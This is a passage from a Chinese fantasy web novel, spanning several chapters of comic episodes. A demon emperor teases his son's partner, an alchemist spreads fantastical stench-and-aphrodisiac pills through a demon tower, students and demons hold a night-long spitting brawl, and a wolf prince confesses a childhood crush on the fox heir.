风回雪当然知道她叫不出来。 他自个都还叫不出来呢。 起身,亲昵的距离,使得江献晚像是抬手间就能被他纳入怀中一般,眼尾吊梢,下颌轻抬,“想得美。” 风洺霁:“……” 他儿子想得美,他怎么就不能想得美了? 风洺霁自然不是非要江献晚喊他爹,就是忍不住想逗逗她跟他儿子。 他一双狐狸眼笑的弯弯,又挖了个江献晚不跳都不行的坑,“喊不喊咱们都是一家子的,一家人不说两家话,灵泽之露,我也就不跟儿媳妇客气了。” 江献晚:“呃……自然……不用客气。” 风洺霁抿着唇,笑的活像偷了腥的猫。 他知道江献晚定然不好意思揪着儿媳妇这三个字。 瞧着自家耳根子都红透的儿子,狐狸眼一眨,“我还要谢谢你,没想到我有生之年还能白捡一大孙子。” “我很喜欢。” 江献晚:“……” 这话……听起来也没毛病。 确实白捡一大孙子。 “您……喜欢就好。” 风回雪又是脸热又觉得丢脸,装模作样低着头数江献晚的睫毛。 看起来很是有种想一脚将妖帝踹出去,又想让妖帝多说两句的矛盾。 华垠勉强回过神,收回久久落在江献晚身上的目光,忽然拍了拍风洺霁的肩膀,“洺霁,你还真的是要好好感谢你儿媳妇。” 若不是江献晚,这妖域是谁的还不一定呢。 风洺霁微愣,一下子就来了兴趣,“哦?详细说说。” 他了解好友,绝不是说行行和灵泽之露两件事。 方才掐指,定是从江献晚身上看出来了什么。 听这话的意思,还与他有莫大的渊源。 华垠摇头,一脸不可言说,“天机不可泄露。” 旋即,意味深长的视线,凝定在江献晚面颊,兀自叹息,“说真的,你一直是我偶像。” 没想到有一日竟能亲眼见到这个传说中疯狗少女。 想到方才八层会议厅的那一幕,华垠欢喜之色愈发溢于言表,甚至于陷入一种莫名的激动。 将手中乌木尺往前一送。 “能签个名吗?” 江献晚:“……这不好吧?” 这把尺子看起来是华垠的本命灵器。 至于偶像? 是因为虚古境团丹药的那一幕? 还是……八层那一幕? “不如晚辈……” “唉?”华垠忙打断她,乌木尺又往前送了一寸,直接塞她手中,“你签。” 不签怎么成? 他可是崇拜她很久了! 够疯!够强!够狂! 天上地下,找不出第二个。 在大司命一双满是期待的目光中,江献晚仍旧有些犹豫,“要不,签您的名字?” 华垠摇头,“不!就签你的。” 江献晚茫然的签上了自己的大名。 风回雪眯着眸子,见他们一来一回,眼底划过一抹深思。 那把乌木尺是华垠的本命灵器,宝贵的很,从不给人碰,就这么塞进江献晚手中,再三要求她留下江献晚三个字? 他方才说的那些话,又是什么意思? 听起来江献晚和他老子还有些渊源。 风回雪看看自家老子那张脸,不淡定了,免不了多想,语气不悦,“大司命,你什么意思?” 先不说大司命口中,江献晚似乎有不可言说的身份。 江献晚跟他爹……曾经莫不是…… 风回雪心中一阵紧张。 得到亲签的大司命欢喜的抚摸着乌尺上多出来的三个字,头也不抬,“小雪啊,莫要胡思乱想。” “送你一句话。” “好好把握眼前人。” 这可是你,曾经求都求不来的缘分。 风回雪:“……” 兴许是大司命的神色太过于严肃,风回雪竟是神魂一震,眸光恍惚,莫名有种说不出的酸涩。 第 193 章 螺蛳粉味交欢丹 江献晚眸光微闪,察觉狐狸的紧张,反握了一下他。 风洺霁亦是没有深究。 天道旋转如轮,循环不息,世间万物,皆有定数。 随心随缘,顺其自然,端看时间早晚而已。 他是过来狐,晓得自家儿子对江献晚的紧张,不由询问,“可在一起了?” 还没等江献晚和风回雪开口,华垠掐了掐手指头,轻叹道:“差一点点。” “不过,昨个倒是一起睡的。” 还是差一点点。 有点小波折,后续算不出。 江献晚身上的气运太厚,确切的来说,不能单纯的算作气运。 而是,天道福泽。 华垠掩在袖中的指尖又是忍不住细细轻掐,面色倏尔一变,猛然掀起睫帘。 江献晚竟身系六界? 所以,江行行身上的福泽,也是因为她的缘故,才被天道一并眷顾。 只是杀伐之气太重,两者矛盾,难以融合。 因着琉璃玉骨,和江行行,才得以催生出七情六欲,杀业逐渐敛磨。 包括这些对她所求不得的情缘,全系在她身上,每一条都似乎如履薄冰,将断不断,又拼命系于其身。 看起来,这些情缘线的主人,都曾在江献晚这里吃足了苦头,才勉强与其生出一缕情丝。 更不必说,那些无法承受住江献晚的煞气,直接被她斩断的情缘。 天道竟如此溺爱一人,以这些情缘主人的生死做赌注,为其相度。 亲生的,也不过如此吧。 仍系在江献晚身上的情缘,又是何等心许于她,才能做到如此地步,甘心倾尽所有。 若不是人在跟前,华垠还无法窥得天机一二。 不敢想,江献晚最后究竟是走到了哪里,又做了些什么,使得天道又爱又怕,将天道逼到如此地步。 闻言,风洺霁很是失望,“你怎么回事?就不会努努力?” “非要留着那一点点?” “你脑子里到底在想什么?” 他怎么会生出一个如此没出息的儿子? 风洺霁忍不住怀疑他的智商。 风回雪:“……” 江献晚:“……” 各自红着耳尖别开脸。 这特么也能算? 显然,风洺霁沉浸在一种恨铁不成钢的情绪,格外不理解作为一只九尾狐为何如此不争气。 难得能这般喋喋不休,数落自个儿子一回,看起来,真的是失望坏了。 他语气不悦,蹙着眉,言语之中皆是对风回雪的不满,直问的风回雪额角青筋一跳再跳,还生出无尽懊悔,濒临发作边缘。 风洺霁数落他半晌,再看向江献晚时,眉眼一弯,不由自主换上一张笑脸,“晚晚,我要回去闭关了,小雪便交给你了。” 稍停片刻,他掩唇轻咳,“不要放过他。” 风回雪:“……”先不说江献晚放不放过他,他看起来是像能放过江献晚的样子? 江献晚:“……”好吧,这个不要放过他,她听明白了。 江献晚在两只狐狸,一个眼含希冀,一个眼泛羞臊的目光中,略微一点头。 见自个儿子倏然红透的耳尖,风洺霁身心俱愉,俯身摸了摸江行行的脑袋,“爷爷闭关了,行行记得想爷爷。” 江行行口中还含着风洺霁给他的糖,乖乖行了妖域礼,“爷爷照顾好自己,行行一定会多想爷爷的。” “好孩子。” 风洺霁笑的直抿唇,暗含得意,递给风回雪一个眼神,无声炫耀:还得老子,儿子儿媳全都拿下。 后者模糊哼地一声,破天荒没说什么。 在风洺霁和华垠心满意足离开后,江献晚想到今天晚上剩下的最后一点点,倒是显得局促起来,“咳,那个,我去看看小师兄,你先带儿子回去吧。” 说罢,飞快亲了一口江行行,拔腿离开。 风回雪追了两步,抓了个空,委屈的看指尖,“没见过你娘这样的。” 又扭头哈哈笑的心虚,“儿子,别忘了咱爷俩说好的,以后你自己睡,尤其……今晚!” 他今晚就把那个一点点给吃了! 江行行:“……” 这边,江献晚刚下到八层,便听到一阵阵干呕狂吐的声音,其中还掺杂着数道令人想入非非的喘息。 她鼻尖一动,猛地俯身,“哕!” 臭气已然塞满八层,隐隐有朝外扩散的趋势,仿佛是谁在空气中拉了一坨巨大无比,臭气熏天的屎。 闻起来很是正宗。 显然是螺蛳粉丹药的加加加强版! 最恐怖的是,屎味的丹药中掺着用料十足的催情药。 不仅各层都逐渐陷入一种失控的骚动,透过妖塔的窗棂,她好像听到从外面传来此起彼伏,呕吐大骂声。 “谁!到底是谁!敢在妖塔拉屎!” “不是,我怎么觉得我的发情期到了?哕!” “老婆!老婆!没有你我可怎么活——!” 江献晚:“……” 忙摸了颗丹药吃下,给风回雪传音,让他带着儿子离开的时候小心一点。 做完这些,她脚步一转,在七层梯口看到狼太灰和白羽正捂着鼻子,扒着墙壁,痛苦摇曳。 “这是?” “哕!”白羽白着脸,抬手一指,“他们在里面玩屎哕!” 狼太灰扶着墙,哇哇一阵吐,“快!让他们停下!哕——!” 他俩刚处理完江献晚留下来的烂摊子,就被妖塔管理者拉去五层收拾烂摊子。 林玉锦这个变态,在五层考核时,炼出整整一大锅交欢丹,还是屎味的! 味道飘的到处都是,听说考核官都中招了,早已狂奔出了妖塔,不知道干什么去了。 其他妖可没这么好运,发觉不对,为时已晚,直接当扬表演一个什么叫发情期集体降临。 连那个断腿的妖,都硬生生的从担架上滚下来,一阵风刮出了妖塔,差点没给他俩创死。 看得出来,他们迫不及待,找伴儿探讨生命的真谛去了。 幸亏他俩吃了林玉锦好心丢来的解药,才幸免于难。 而现在,林玉锦又跑到七层嚯嚯了一通,简直不给妖留一点活路。 江献晚:“……” 江献晚走到七层会议厅外,好奇的将门打开一道缝隙。 只见她小师兄挽起了袖子,蹲在又长又宽的桌子上拉……哦不! 团屎(划掉!)团丹药! 桌案上还躺了两个妖域丹药师,充当试药工具。 另一侧六个妖看起来前所未有的团结。 其中一个将还热乎的丹药,嗖地一下塞进桌上的妖口中。 第 194 章 骆驼为什么有三个鼓包 林玉锦仰天桀桀狂笑三声,从一坨丹药上揪下一块,捣进试药的妖口中,“我解!” 那妖登时口吐白沫,弹蹬的跟一条脱水的鱼似的,将桌面拍得砰砰作响! 林玉锦解了毒,一手摁住另一个面如死灰,安详躺在桌上的炼丹师,将一颗丹药两下捣进他嘴里。 “桀桀桀,试试我新发明的飘臭万里!臭味一月不散!侵魂入骨!所到之处如屎飞溅!” “哕!好恶毒的丹!” “桀桀桀桀桀桀桀桀!怕了吧!” 江献晚:“……” 江献晚看着蹲在桌子上,玩的不亦乐乎,一对八的小师兄,贴心地关紧了房门。 真好,这下终于不再只有江献晚的成名屎了。 她冷冷地踹开拖她两条腿的狼太灰和白羽,不顾他们痛哭流涕地千般挽留,万般请求,马不停蹄逃离了七层。 还好,一楼大厅有门阻隔,并没有沦陷。 不过,等她看到做任务归来的修言和何未语,各个一脸天打雷劈的痛苦菜色,正双目无神的盯着接待处的树懒,再次陷入沉默。 “请……问……您……想要……办……理……什……么……业务?” 何未语缓缓深吸了一口气,调整呼吸,勉强挤出一个温柔的微笑,将妖晶往前一推,“我要兑换房费。” 树懒妖缓慢地露出一个标志性的微笑:“好的……不……过,我……得……先……” 何未语双手撑在桌面,上半身前倾,神色难耐,“数一数?” 树懒妖:“数……” 何未语额角一跳:“一数?” 树懒妖:“一……数。” 何未语一双眼睛瞪的滚圆,死死盯着树懒慢慢慢慢将妖晶慢慢慢慢拢过去。 登时,五雷隆顶,跌回了椅子上。 树懒妖:“一……二……三……四……啊……数错……了。” 何未语:“……” “一……二……三……” 温柔的何师姐,猛地抓了抓头发。 江献晚沉默片刻,一条手臂压上捂着心窝,直哆嗦的何未语,“嘿,树懒,想听个笑话吗?” 何未语嘴唇都哆嗦了,“江师妹!” 树懒慢慢慢慢抬起头,慢慢慢慢看向江献晚,眼睛慢慢一亮,“好啊~” 何未语:“……” 江献晚一晃指尖,嘿笑一声,“你猜,骆驼,为什么有三个鼓包?” 树懒慢慢地垂下眼皮,认真想了一会儿。 又慢慢地抬起眼皮,认真答道:“我不知……道……骆驼……为什……么……有……三个……鼓……包。” “那……骆驼……为……什么……有……三个……鼓……包?” 何未语:“……” 她现在觉得她脑袋上长了一圈包! 江献晚静默一瞬,像是不知被戳中了哪根筋,拍着桌面哈哈狂笑起来。 “哈哈哈哈哈哈哈!因为它怀孕了!” 树懒呆呆的眼睛慢慢一亮,慢慢地抬起爪子,往桌子上慢慢拍了两下,“哈……哈……哈……哈……哈……” 江献晚:“……” 何未语:“……” 隔壁正痛不欲生的修言忽地一拍桌子,疯癫仰头大笑,“哈哈哈哈哈哈!” 很难不让人怀疑,他现在精神已经崩溃。 一个时辰后,树懒不顾他们的苦苦哀求,准时下班。 还特么……蹿的一溜烟! 三人抱着没能兑换出的妖晶和玉髓,三脸麻木,脚步虚浮,踉踉跄跄,离开了妖塔。 修言喉间溢出一阵温柔的轻笑,口中喃喃,“那我猎了这么多妖晶算什么?” “算我活该?” “还是命中注定?” “又或者……这一切的一切……只是我自以为是的结果……” 他双腿一折,抱着一堆妖晶,扯着脖儿,跪地叩苍天,“投诉!我要投诉!这日子没法过了——!!!” 就问这他妈谁能睡上床? 何未语一抹两眼中闪烁的泪花,身子轻轻摇晃,“难怪团团临走前,怜爱地瞅了我一眼。” “我还以为她要跟我处姐妹儿了,结果……” 她万般苦楚的闭了闭眼,似乎打算就这么认命了,“算了,就这样吧,我觉得草地也不是不能睡。” 顿了顿,微微一笑,已然有种平静的疯感,“当然,树杈也行。” 三人飘向一片就近的草地,毫无意外,碰到一群捧着妖晶,表情呆滞的小伙伴。 可想而知,在兑换房费的最后一个步骤,每一个前来的交换生,都受到了非人的折磨。 还没有床睡。 连分享第一天战绩的欲望都没有了,顶着一张被树懒折磨的惨白脸蛋,沉默的在草地上躺成笔直的一溜,双手交叠于腹部,痴傻的望着细雨随风落下。 江献晚默默放了一首剑伤。 “世间多纷扰。” “生死困顿寂寥……” “就让大雨冲刷,记忆中的沙……” 斜雨深处,那人不断顽强的撕开雨幕,隐约浮现出青色的轮廓。 他步履沉重而执着,雨水顺着他绝美的面庞,一刻不息的流淌。 林玉锦捏着一块玉髓,低着头无声走过来,每一步都踏碎了地面跳跃的水花,溅起更细碎的珠玉。 湿透的袖管沉沉垂落,那根根白削的手在草地上的雨水中微微颤抖着。 江献晚亦是没能走掉,再去风回雪的寝殿。 手指蜷曲,握住眼前坠落的湿凉斜雨。 很想问一句:为什么。 一群刚穿好裤子的妖,和一群恢复人模狗样的妖塔教师,如斑斑笔墨点缀。 肆意扑进盛大倾泻的雨帘,墨点似的印痕,晕染成一条条宛如游龙般的溪流。 将他们……里三层外三层环绕。 显然……也问一问为什么。 南境弟子这一刻,全部面无表情,缓缓起身。 无数的妖在他们跟前站定,牢牢将他们锁住。 两方本来都不开心,这下一碰,在江献晚先发出一声冷冷嗤笑,登时……掀起了喧哗而震撼地口水仗。 为数不多的虚假友谊,断的比雨丝都脆弱。 风回雪心潮澎湃,久久盼不回江献晚,急色的出来寻。 当看到一群南境亲传和一望无际的妖,隔着一条三八线,在大雨瓢泼中朝着彼此激情开麦,互吐口水的扬面……沉默了。 江献晚袖子反卷,俨然攻击值拉满的状态,一人对一片,“呵忒!”,朝冲在最前方的猫符师吐了一口口水。 第 195 章 是朋友就摸 还是……真正意义上的扯头花。 顺带……问候起对方的家人。 当然……棺材板里的也没放过。 狼太灰和白羽夹在中间,苦苦相劝,遭到两方踩踏。 天狼王中间都来了,尾巴照样被人和妖踩了不知多少脚,哭的跟个狗似的,扒着草地,一脸泥水,咕涌半夜,才爬了出去。 风回雪喉结慢慢滚动,雨珠顺着下颌坠落。 他无助的挂在树上,茫然的望着密密麻麻,还在赶来看热闹,或加入的各种妖,神情呆滞,聆听屁股下树枝咯吱咯吱,剧烈地为他摇晃。 今晚……该是这样? 明明……不该这样。 江献晚现在应该躺在他们的床上,随他摇晃,而不是……骑在人家头上,在这儿跟妖吐口水。 这扬口水大战,持续了整整一夜。 妖都的暴动,随着人与妖漫长而深刻的友好问候,终于在天亮时渐渐平息,最后一个妖拖着一双羽毛仅剩几根的翅膀,瘫痪似的爬离战扬。 林玉锦踢开地上一片杂乱的毛,抬眸望向挂在树梢上,浑身湿透,双眸失神的风回雪。 他嘶哑的嗓音,格外的平静。 出奇的,还有一丝温柔的轻笑。 “风回雪,你能告诉我,妖塔大厅的工作妖员,为何都是些树懒吗?” 还特么一到酉时,准点下班,要不要这么敬业! 这就算了,头一天的妖晶玉髓,第二天还不给兑换! 那他百折不挠,一打八的努力算什么? 算……笑话? 风回雪想了一夜都没想明白,觉得这漫长而沸腾的一晚,只是他做的一扬苍白无力的梦。 唇角缓缓朝他扯出同款平静而温柔的弧度,“妖帝和大司命。” “对……妖帝和大司命……” 风回雪突然喃喃说了这么一句,神色猝然一变,本就苍白的面颊登时白若纸张。 深深绞了一眼拿袖子抹脸的江献晚,一阵狂暴的飓风……刮走! 吐了一夜口水的小伙伴面无表情,低头整理衣裳,片刻后,再次癫狂的……杀向妖塔! 这个床,他们还就……睡、定、了——! 江献晚和林玉锦抚顺衣裳,默默跟上,打算接取猎杀妖兽的任务。 当然,他俩绝不承认,之所以没能杀上妖塔,是因为……大厅竖起一个比人都高的巨大木牌。 上写—— 二楼及二楼以上,太虚宗弟子不得入内!!! 针对,这就是针对。 骂不过,吐不过,就这么明显的针对! 呵,一群小气而敏感的妖啊。 呵忒! 由此可以看出,妖帝心腹和天狼王心腹,终于……手拉手心连心了一回。 趁着在大屏幕上挑选任务的空,一群小伙伴再次撸起了他们昨天的妖伙伴。 修言袖子一抹脸上的口水和雨水,蔫头蔫脑将自己挂在龟丞相身上,“龟兄,今天要不要继续组个队?” 龟丞相:“不……”他怕他朝他吐口水。 “好兄弟!我就知道你会答应!可真是太叫我感动了!那我们现在就出发吧!” 龟丞相:“……”不是,他什么时候答应了? 他说的是“不”啊! 根本没有一点拒绝的机会,龟丞相被修言两手兴冲冲地举起,眨眼消失在天际。 何未语心灵受到一点点微弱的创伤,还没痊愈,颤抖着执起猫妖的手,“团团,我离不开你。” 团团:“……行叭。”只要别朝她吐口水。 就在江献晚沉着脸站在比她都高的大牌子前,蠢蠢欲动时,孔雀妖红着脸来到她跟前,“江献晚,我想告诉你,去我心里的路怎么走。” 江献晚好帅,昨晚,一人吐一片妖的样子,更帅! 他愿意,愿意让她走进自己的心里! 强撑着虚弱的身体,追过来的几个妖少年:“……?” 白羽:“……” 殿下! 殿下! 江献晚她真的要给你戴绿帽子了啊! 白羽再次哆嗦着翅膀刮走了。 狼太灰顶着干涸的口水印和鞋印,眼珠慢慢一滚,从激烈的口水仗中回过神。 “他们这些人,不知道摸人家尾巴耳朵代表什么吗?” 昨晚打口水仗扯头花,江献晚他们专薅妖的耳朵和尾巴。 间接性导致,这扬暴动发展的又燃又大,整个妖都能来的妖全都来了,扬面一度失控。 这扬百年难遇的暴乱,绝对能载入妖域史册! 豹冲疲惫的凝视着江献晚摸孔雀尾巴的熟稔动作,心中却升起一种尤为古怪的疑惑。 他怎么觉得……江献晚才是那个在黑市到处摸妖翅膀和尾巴的人族女修? 不确定,再看看。 江献晚摸了一会儿,轻轻放开面红耳赤的孔雀妖,面无表情地转身,对打量她的豹冲道:“我们都这么熟了,让我摸摸你的尾巴。” 没错,狼太灰绝对搞事情了,她竟然跟狼太灰他们成了搭档。 她明明点了四次随机搭配! 豹冲:“……也没有那么熟。” 好像,更像了。 狼太灰突然来了劲儿,神采奕奕,一屁股挤开若有所思的豹冲,羞涩地一甩尾巴,大方道:“咱俩熟,你摸我的!” 江献晚:“……那就算了。” 昨晚天狼王的尾巴毛都被她薅了好几把,哭的老响了。 摸够了。 真的摸够了。 对此,狼太灰一颗玻璃心被打击的粉碎,导致一路上都兴致缺缺。 他怀疑地瞅了不下于二十次自己的尾巴,一把拽过豹冲,“我尾巴不好看吗?” 豹冲:“好看,每根尾巴毛都泛着无与伦比的高贵色泽,让妖忍不住想要顶礼膜拜!” 拍马屁,他会。 “那她为什么不摸我的尾巴?” 狼太灰嫉妒地看向豹冲衣袍下露出的那截尾巴,三两步蹿到江献晚面前,抓起尾巴往前一递,沉声道:“摸!” 江献晚:“……?” 这傻狼抽什么东西南北风。 她盯着面前银灰色的大尾巴,瞅了十秒,一摇头,再次拒绝,“不用了。” 昨晚摸了一夜,导致她现在看到尾巴都有点应激。 “不行!”狼太灰却忽然激动起来,尾巴恨不得杵她脸上,大声道:“是朋友就摸!” 豹冲等妖:“……”还有这样上赶着让人摸的? 贱不贱呐! 妖一向将自己的尾巴翅膀这些东西看的很重,除了自己的道侣和至亲血脉,根本不会轻易给任何别的触碰。 也就黑市那个流氓又有钱的女修,换作其他人,早就被妖往死里追杀了。 至于昨晚,江献晚他们没被妖都的妖给拧了脑袋瓜,可以想象,他们这群两脚兽的战斗力有多牛逼。 狼太灰较劲了,指着豹冲,俊朗的眉眼委屈地不行。 第 196 章 我要和你,做朋友 “咱俩不是好朋友吗?” “不是有十一块灵石还有一笼包子的交情?” “你要不摸,咱俩就……就……” “我就不理你了!” 反正绝交是不可能的! 她今天必须得摸了! 豹冲他们不知为何,竟有种很丢人的感觉,捂着脸,飞快地奔到队伍前面。 江献晚眸光微动,安静的看着少年些许受伤的眉眼,神色认真,嗓音很轻,“那你知道什么才是朋友吗?” 狼太灰一愣,脱口反问,“我们不算吗?” 说着,一双狼耳委屈的耷拉下来。 “没想到你是这样的人。” 他都拿她当朋友了,江献晚这意思,是没把他当朋友? 那她以前说的那些话又算什么? 江献晚拍拍他的肩,转脚越过他。 走了两步,顿下,微微侧眸。 “并不是这个意思。” “我只是想说,有福同享,有难同当,两肋插刀,不插彼此,才是朋友。” 狼太灰又是一愣,他望着江献晚的背影,低头思索。 片刻,大步上前,抬臂拦下她。 少年一双漂亮的灰青色眸子渐渐有坚定浮了上来,像是下定了什么非常重要的决心。 “你说的,我都可以做到。” “江献晚,我要和你,做朋友。” 他声音轻缓,眼底更是掀起一片清透而细碎的光,狼耳也紧张的一颤一颤的。 或许是少年的神色太过于真诚,江献晚心中松动了一下。 “那我们就是朋友。” 她轻轻握上那条蓬松的大尾巴,认真抚摸几下,看着少年涨红的面颊,眼里浮出点点笑意。 “很漂亮。” 说罢,掏出一个含着夜明珠的巴掌大的蚌壳,“回礼。” 狼太灰接过蚌壳,步子慢了一些。 他细细的凝视蚌壳中,散发着朦胧光晕的夜明珠,指尖拨了一下,心尖也跟着发痒发热。 很陌生,又很不错。 他从小到大其实没什么真正的朋友,豹冲他们也只是将他当做主子对待。 想到这里,他悄悄看向与豹冲他们同行的江献晚。 耳尖轻轻一抖,小心的将蚌壳揣进怀中,脚步轻快的撵了上去。 穿过森林,茫茫的沙漠出现在视野。 不同于他们所站位置的树木葱郁,植被繁茂,目光所及,灼目的沙黄,如凝固的金色海浪,含着一种原始的苍茫之美,几乎与天际相接。 一条清澈蜿蜒西去的溪流,仿若一道突兀的分水岭,将生机与干燥南北隔开,泾渭分明,十分独特。 江献晚诧异挑眉,视线追随着沙丘延伸。 迎风面的沙坡似水,背风面流沙如泻,将一只灵敏的沙鼠悄然裹了去,当真是好看又危险。 狼太灰与她并行:“是不是很奇怪?” “是挺奇怪。” 想不到坐落于重重苍翠欲滴中的妖域,会有这么一片望不到边际的沙漠。 狼太灰:“沙漠最南边就是虚古境边界,这里原来不是这个样子的。” “听我爹说,因为靠近虚古境的土地,被污秽之气侵蚀,天长日久,渐渐形成沙漠,种树也不能成活。” “沙山之巅才叫漂亮,只不过那里太危险。” “若是碰到沙尘暴,元婴修士也很难存活。” “这里的沙尘暴真的很恐怖。” 狼太灰又着重说了一下,神色有些凝重,“最可怕的是,进入这片沙漠,修为会被压制一大截,但那些生存在沙漠的妖兽却不受影响,至于原因,一直找不出。” 他们的任务就是猎杀生活在沙漠中,一种名为地霸的妖兽。 此妖,体型似狼又似狗。 而这沙漠中不止他们这一个小队伍,方才就有两个小队进去了。 狼太灰碎碎念念,不厌其烦的叮嘱,“沙下面有妖鼠,牙齿有剧毒,体型小,行动敏捷,聪明的跟个小孩子似的。” “还有那些毒蝎子,六眼蜘蛛,沙腹妖蛇,很多很多,防不胜防,各个顶毒,总之,千万记得当心脚下。” 江献晚心道:我百毒不侵。 豹冲他们兴许早就打算要跟她组队,做了充足准备,纷纷掏出各种一看就很贵的法器,江献晚则慢慢悠悠掏出一笼肉包子。 狼太灰登时感动地手舞足蹈,“我太感动了,你竟然记得给我带饭!” 他觉得,他这辈子做过的最对的选择,就是给了江献晚十一块灵石,才能得到这么好的一个好朋友! 江献晚:“……” 有没有一种可能,她根本就不知道会跟他一队。 纯属吐了一夜的口水吐累了,路过街边,顺手买了一笼包子。 看到那块木牌,没心情吃,放在了芥子囊中。 她拿出来,也只是想着看能不能吸引到地霸妖兽。 望着眼含热泪,一口一个小包子的大尾巴狼,江献晚脸不红心不跳,“对,没错,我怕你饿着。” 算了,别打击孩子了,再想其他办法。 随着深入,身后浓绿的森林渐渐消失在视野,入目皆是无尽的黄沙,这里存在着许多妖兽活动的痕迹,还有妖修留下的零星脚印。 这些痕迹,又很快被缓慢流动的黄沙掩埋。 而江献晚的修为,被压制在了金丹期。 越往里行走,什么蜥蜴,沙蚁,沙龟,随处可见,途中遇到一只埋在沙子中,只露出一颗毛茸茸脑袋的沙猫。 见他们看来,嗖地一下消失在视线。 这里的妖兽习惯了这种恶劣环境,耐受性早就练出来了。 狼太灰一边留心脚下和周围,一边和江献晚讲一些妖域发生的趣事。 这么一讲,难免有风回雪的痕迹。 天狼王想上位的事不是什么秘密,两境三域都门清的事。 听狼太灰说着说着,开始专心致志骂风回雪那个骚狐狸多讨厌,江献晚不由得有些好奇。 “你跟风回雪有过节?” 还是单纯的只是风回雪挡了他们父子称霸妖域的路? 可狼太灰这个大脑没小枣大的,刚才骂的那是句句肺腑,生动饱满。 不像是因为风回雪单纯阻了他们父子的路,倒像是他在狐狸那儿受到过万般委屈。 狼太灰骂声一止,眼神飘忽掠过周围,摆摆手,“嗨,你别问了。” 不是什么光彩事。 童年阴影伴随着他长大,生根发芽,长成参天巨树。 每次看到风回雪的脸,都恶心的想吐。 他这副便秘的反应,惹得江献晚八卦之心更重,幽幽叹息,“咱俩不是好朋友了?” 狼太灰一听,慌了,“我说还不成!” 话落,少年的面颊以一种快到不可思议的速度,红温。 看的江献晚瞠目结舌。 狼太灰一咬牙,一跺脚,扭头瞪了一眼豹冲他们。 “你们不许偷听!” 豹冲:“……”不听也知道,气哭了八百回,眼睛差点哭瞎! 第 197 章 我说我要娶他 当即往左一迈。 狼太灰也凑近她,磨着牙根,压低声音骂骂咧咧,“我打小跟风回雪有仇,不解之仇!” “哦?”江献晚默默掏出瓜子,将脑瓜又歪了一些,一副十足听戏的兴奋模样。 狼太灰眼睛里此刻闪烁着骇人的凶光,面庞青红绿紫活像什么颜色都有的大染缸。 最后似是下定决心,倏然深吸一口气,再凑近一点,“告诉你其实也没什么。” 提到这个,狼太灰两眼登时包起悔恨的泪花,从愤怒到委屈地尾巴炸毛。 “你也知道那骚狐狸长的跟个娘们似的,整天还穿的花里胡哨,骚包的很。” 江献晚:“啊……对!” 风回雪那张脸确实好看,若不是有一米九的身高在那撑着,很容易将他的性别看反。 “所以……呢?” 狼太灰红着脸,支支吾吾,“我小时候不懂事,以为他是母的。” 江献晚手顿三秒,把瓜子送嘴里,神色诡异地望向少年俊逸英朗的面庞。 “……然后呢?” 此事,不简单。 绝对不简单! 狼太灰羞愤地咬了一口袖子,看起来恶心地快要吐了。 他吸了吸鼻子,含糊不清,“我就天天跟他屁股后面,走哪都跟着,还说,还说……还说……” “还说……” “说啊。”豹冲急的甩尾巴,“要不我替你说?” “滚!”狼太灰利眉一竖,而后羞的像只被煮红的虾,猛然攥紧拳头,挺直脊背,泼出去一般,大声道:“我说我要娶他!” 猝不及防! 好一个猝不及防! 尽管有了大胆猜想,江献晚还是雷了个东倒西歪,一口气没上来,瓜子卡在肺管,疯狂咳嗽起来。 卧槽卧槽卧槽! 这瓜够大! 狼太灰竟然喜欢风回雪? 狼太灰却像竹筒倒豆子似的,决定将心中的不痛快吐个干干净净。 他攥着拳头,激动道:“是!我说我要娶他!让他给我生一窝小狼崽!” “当然,小狐狸也行。” 江献晚:“……”那你还挺不挑的。 很难想象,狼太灰竟然和风回雪有这么一段往事。 还真就……挺一言难尽的。 “他比我大,我当时还是一头无忧无虑,单纯可爱的小狼,就那么天真烂漫地跑到他面前说我要娶他。” 江献晚沉默数秒,“他……怎么说?” 狼太灰对着空气挥舞了一下拳头,“他说,你还没断奶吧?” 江献晚:“……然后呢?” 狼太灰目露凶光,恶狠狠道:“我回家立刻把奶断了!” 好志气! 江献晚:“……再然后呢?” “我连奶都断了,可天算地算,没算到他是个公的啊。” 狼太灰捂脸,声音带着哭腔。 “我天天眼巴巴地跟在他屁股后面,端茶倒水,揉肩捶腿,为了哄他一笑,知道他喜欢吃烤鸡翅,我就天天给他烤鸡翅,就差给他舔脚了!” 当然,就算他想,风回雪也不乐意给他舔。 还嫌他烤的鸡翅不好吃,让他扔远点。 狼太灰越说越委屈,越说越破防。 少时的心动留下不可磨灭的阴影,导致他现在看到那些想亲近他的母狼和女妖,都能吓得尾巴炸毛。 “我掏出一颗心给他,他呢?说我长的丑,尾巴也丑,还说我眼睛有毛病,脑子也有大病,让我爹带我去看医修。” 江献晚:“……最后一句倒是不错,那,后来呢?” 狼太灰眼眶通红,蓄满泪珠,还是豹冲用一种怜悯的眼神,替他回答。 “后来风回雪洗澡,他跑去偷看。” 想霸王硬上弓,硬娶回家,生一窝小狼崽。 结果,可想而知。 他看到了一个胸前线条平坦,肌肉喷张性感的美少年。 狼太灰当时就如遭雷击,眼仁一翻,栽进了湖里。 还是风回雪给他捞出来,扇了两耳刮子才醒的。 “后来,我在狼穴躺了两年。” 明明听起来挺好笑的,看着控制不住,一滴泪掉下的少年,江献晚神色复杂,很是同情地拍拍他的肩。 “这个就是他不对了。” 这里就要说一下风回雪的不是了。 狼太灰汪地一下哭出了声,“是吧,这个狗东西竟然玩弄我的感情,简直卑鄙无耻丧尽天良!” “他残害了我弱小的心灵,给我造成巨大的阴影!” “是!”江献晚很难不赞同,“所以你就因爱生恨了?” 狼太灰泪一收,龇着尖利地牙齿,“是!我发誓我要让他跪在我的脚边给我端洗脚水!” “还要天天给我做烤鸡翅!” “竟敢玩弄我狼太灰的感情!我要让他付出惨痛的代价!” “所以,你们天狼族就打算造反了?” “啊?”狼太灰一怔,脱口而出,“那倒不是因为这个。” 他只是单纯的气愤。 江献晚疑惑的挑眉,“那是因为什么?” 狼太灰诚实地道:“单纯就是我爹想造反。” 江献晚:“……” 她微微侧过眸,状似随意,“听说,妖帝渡劫失败,就是你爹在背后搞鬼?” 豹冲几妖惊悚地看向江献晚。 她就这么水灵灵的问出来了? 狼太灰倒没觉得有什么。 “我爹是想捣鬼来着,本来想趁他渡劫,出手给他致命一击,结果,一激动,给石头绊倒了。” “还摔断了一条后腿。” “谁知道,妖帝被天雷劈的头顶冒烟,原地差点升天。” “我爹瘸着腿,就踹了他两脚。” “回家还很可惜的跟我说,他正想补刀子来着,大司命就赶到了,吓得他赶紧跑了。” 江献晚:“……!” 豹冲:“……”你咋啥都说呢。 显然,狼太灰啥都敢说,嘚吧起来,更是刹不住车。 “谁知道他又倒霉又好命,后来捡回一条命。哦,对了。” 